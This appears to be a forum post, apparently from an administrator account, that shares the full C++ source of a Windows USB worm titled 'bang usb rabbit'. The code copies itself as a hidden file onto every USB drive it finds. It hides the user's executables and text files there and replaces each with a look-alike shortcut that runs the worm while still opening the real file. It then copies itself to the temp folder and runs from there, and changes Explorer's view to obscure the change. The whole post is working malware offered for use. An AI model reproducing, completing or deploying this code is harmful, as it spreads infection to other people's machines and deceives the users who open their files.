Admin
Администратор
bang usb rabbit [FULL CODE]
C++:
int wmain(int argc, wchar_t* argv[])
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <tlhelp32.h>
#include <shobjidl.h>
#include <shlobj.h>
#include <filesystem>
#include <vector>
#include <string>
#include <iostream>
#include <exdisp.h>
#include <shlguid.h>
#include <shlwapi.h>
#include <winioctl.h>
#include <set>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")
namespace fs = std::filesystem;
fs::path g_selfName;
const std::vector<std::wstring> extensions = {
L".exe", L".bat", L".cmd", L".com", L".txt"
};
bool hasTargetExtension(const fs::path& p) {
for (auto& e : extensions)
if (_wcsicmp(p.extension().c_str(), e.c_str()) == 0)
return true;
return false;
}
bool isMyFile(const fs::path& p) {
return _wcsicmp(p.filename().c_str(), g_selfName.c_str()) == 0;
}
void hideFile(const fs::path& p) {
DWORD a = GetFileAttributesW(p.c_str());
if (a != INVALID_FILE_ATTRIBUTES)
SetFileAttributesW(p.c_str(), a | FILE_ATTRIBUTE_HIDDEN);
}
void launchArgument(const wchar_t* arg) {
if (!arg || !*arg) return;
ShellExecuteW(nullptr, L"open", arg, nullptr, nullptr, SW_SHOWNORMAL);
}
int countMyProcess() {
wchar_t selfPath[MAX_PATH];
GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
fs::path selfName = fs::path(selfPath).filename();
int count = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return 1;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (Process32FirstW(snap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, selfName.c_str()) == 0)
count++;
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return count;
}
void createShortcut(const fs::path& original, const fs::path& PathR) {
fs::path lnk = original;
lnk += L".lnk";
if (fs::exists(lnk)) return;
IShellLinkW* link = nullptr;
IPersistFile* file = nullptr;
if (FAILED(CoCreateInstance(
CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER,
IID_IShellLinkW, (void**)&link)))
return;
link->SetPath(PathR.c_str());
std::wstring args = L"\"" + original.wstring() + L"\"";
link->SetArguments(args.c_str());
link->SetWorkingDirectory(PathR.parent_path().c_str());
if (_wcsicmp(original.extension().c_str(), L".txt") == 0)
link->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -102);
else
link->SetIconLocation(original.c_str(), 0);
if (SUCCEEDED(link->QueryInterface(IID_IPersistFile, (void**)&file))) {
file->Save(lnk.c_str(), TRUE);
file->Release();
}
link->Release();
}
bool processRootSafe(const fs::path& rootDir)
{
Sleep(300);
if (!fs::exists(rootDir) || !fs::is_directory(rootDir))
return false;
std::error_code ec;
fs::directory_iterator test(rootDir, ec);
if (ec) return false;
fs::path PathR = rootDir / g_selfName.c_str();
if (fs::exists(PathR))
return false;
wchar_t exePath[MAX_PATH];
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
fs::path exeDir = fs::path(exePath).parent_path();
fs::path MyPSource = exeDir / g_selfName.c_str();
if (!fs::exists(MyPSource))
return false;
try {
fs::copy_file(MyPSource, PathR,
fs::copy_options::overwrite_existing);
}
catch (...) {
return false;
}
hideFile(PathR);
try {
for (auto& e : fs::recursive_directory_iterator(
rootDir,
fs::directory_options::skip_permission_denied))
{
if (!e.is_regular_file()) continue;
const fs::path& f = e.path();
if (isMyFile(f)) continue;
if (!hasTargetExtension(f)) continue;
createShortcut(f, PathR);
hideFile(f);
}
}
catch (...) {
return false;
}
return true;
}
std::wstring normalizePath(const std::wstring& p)
{
wchar_t buf[MAX_PATH];
GetFullPathNameW(p.c_str(), MAX_PATH, buf, nullptr);
std::wstring out = buf;
if (!(out.size() == 3 && out[1] == L':' && out[2] == L'\\'))
{
while (!out.empty() && out.back() == L'\\')
out.pop_back();
}
return out;
}
bool isInsideCur(const std::vector<std::wstring>& bases,
const std::wstring& cur)
{
for (const auto& base : bases)
{
if (_wcsicmp(base.c_str(), cur.c_str()) == 0)
return true;
if (cur.size() > base.size() &&
_wcsnicmp(cur.c_str(), base.c_str(), base.size()) == 0 &&
(base.back() == L'\\' || cur[base.size()] == L'\\'))
return true;
}
return false;
}
bool isUsbDrive(wchar_t letter)
{
wchar_t vol[] = { L'\\', L'\\', L'.', L'\\', letter, L':', 0 };
HANDLE h = CreateFileW(vol, 0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr, OPEN_EXISTING, 0, nullptr);
if (h == INVALID_HANDLE_VALUE)
return false;
STORAGE_PROPERTY_QUERY q{};
q.PropertyId = StorageDeviceProperty;
q.QueryType = PropertyStandardQuery;
BYTE buf[1024]{};
DWORD ret = 0;
bool ok = false;
if (DeviceIoControl(h, IOCTL_STORAGE_QUERY_PROPERTY,
&q, sizeof(q), buf, sizeof(buf), &ret, nullptr))
{
auto* d = (STORAGE_DEVICE_DESCRIPTOR*)buf;
ok = (d->BusType == BusTypeUsb);
}
CloseHandle(h);
return ok;
}
std::set<wchar_t> scanLetters()
{
std::set<wchar_t> res;
DWORD mask = GetLogicalDrives();
for (wchar_t l = L'A'; l <= L'Z'; l++)
{
if (mask & (1 << (l - L'A')))
{
wchar_t root[] = { l, L':', L'\\', 0 };
UINT t = GetDriveTypeW(root);
if ((t == DRIVE_FIXED || t == DRIVE_REMOVABLE) && isUsbDrive(l))
res.insert(l);
}
}
return res;
}
bool getActiveExplorerPath(std::wstring& out)
{
out.clear();
HWND fg = GetForegroundWindow();
if (!fg) return false;
IShellWindows* wins = nullptr;
if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
CLSCTX_ALL, IID_PPV_ARGS(&wins))))
return false;
long cnt = 0;
wins->get_Count(&cnt);
for (long i = 0; i < cnt; i++)
{
VARIANT v{};
v.vt = VT_I4;
v.lVal = i;
IDispatch* disp = nullptr;
if (FAILED(wins->Item(v, &disp)) || !disp)
continue;
IWebBrowserApp* wb = nullptr;
if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
{
HWND h = nullptr;
wb->get_HWND((LONG_PTR*)&h);
if (h == fg)
{
BSTR url;
if (SUCCEEDED(wb->get_LocationURL(&url)))
{
wchar_t buf[MAX_PATH];
DWORD len = MAX_PATH;
if (SUCCEEDED(PathCreateFromUrlW(url, buf, &len, 0)))
{
out = normalizePath(buf);
SysFreeString(url);
wb->Release();
disp->Release();
wins->Release();
return true;
}
SysFreeString(url);
}
}
wb->Release();
}
disp->Release();
}
wins->Release();
return false;
}
void ChangeListView()
{
IShellWindows* wins = nullptr;
if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
CLSCTX_ALL, IID_PPV_ARGS(&wins))))
return;
HWND fg = GetForegroundWindow();
long cnt = 0;
wins->get_Count(&cnt);
for (long i = 0; i < cnt; i++)
{
VARIANT v{};
v.vt = VT_I4;
v.lVal = i;
IDispatch* disp = nullptr;
if (FAILED(wins->Item(v, &disp)) || !disp)
continue;
IWebBrowserApp* wb = nullptr;
if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
{
HWND h = nullptr;
wb->get_HWND((LONG_PTR*)&h);
if (h == fg)
{
IServiceProvider* sp = nullptr;
if (SUCCEEDED(wb->QueryInterface(IID_PPV_ARGS(&sp))))
{
IShellBrowser* sb = nullptr;
if (SUCCEEDED(sp->QueryService(
SID_STopLevelBrowser, IID_PPV_ARGS(&sb))))
{
IShellView* sv = nullptr;
if (SUCCEEDED(sb->QueryActiveShellView(&sv)))
{
IFolderView2* fv = nullptr;
if (SUCCEEDED(sv->QueryInterface(IID_PPV_ARGS(&fv))))
{
fv->SetCurrentViewMode(FVM_LIST);
fv->Release();
}
sv->Release();
}
sb->Release();
}
sp->Release();
}
}
wb->Release();
}
disp->Release();
}
wins->Release();
}
int wmain(int argc, wchar_t* argv[])
{
wchar_t selfPath[MAX_PATH];
GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
g_selfName = fs::path(selfPath).filename();
CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
while (true)
{
std::set<wchar_t> usb = scanLetters();
std::vector<std::wstring> bases;
for (auto l : usb)
{
std::wstring root;
root += l;
root += L":\\";
bases.push_back(normalizePath(root));
const wchar_t* launchFile = argv[1];
if (argc > 1)
{
launchArgument(launchFile);
if (countMyProcess() == 1)
{
wchar_t exePath[MAX_PATH];
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
std::filesystem::path exeDir = std::filesystem::path(exePath).parent_path();
std::filesystem::path src = exeDir / g_selfName.c_str();
wchar_t tempPath[MAX_PATH];
GetTempPathW(MAX_PATH, tempPath);
std::filesystem::path dst = std::filesystem::path(tempPath) / g_selfName.c_str();
std::filesystem::copy_file(
src,
dst,
std::filesystem::copy_options::overwrite_existing
);
launchArgument(dst.c_str());
}
return 0;
}
CoInitialize(nullptr);
processRootSafe(root);
CoUninitialize();
}
std::wstring cur;
if (getActiveExplorerPath(cur))
{
if (isInsideCur(bases, cur))
ChangeListView();
}
Sleep(120);
}
CoUninitialize();
return 0;
}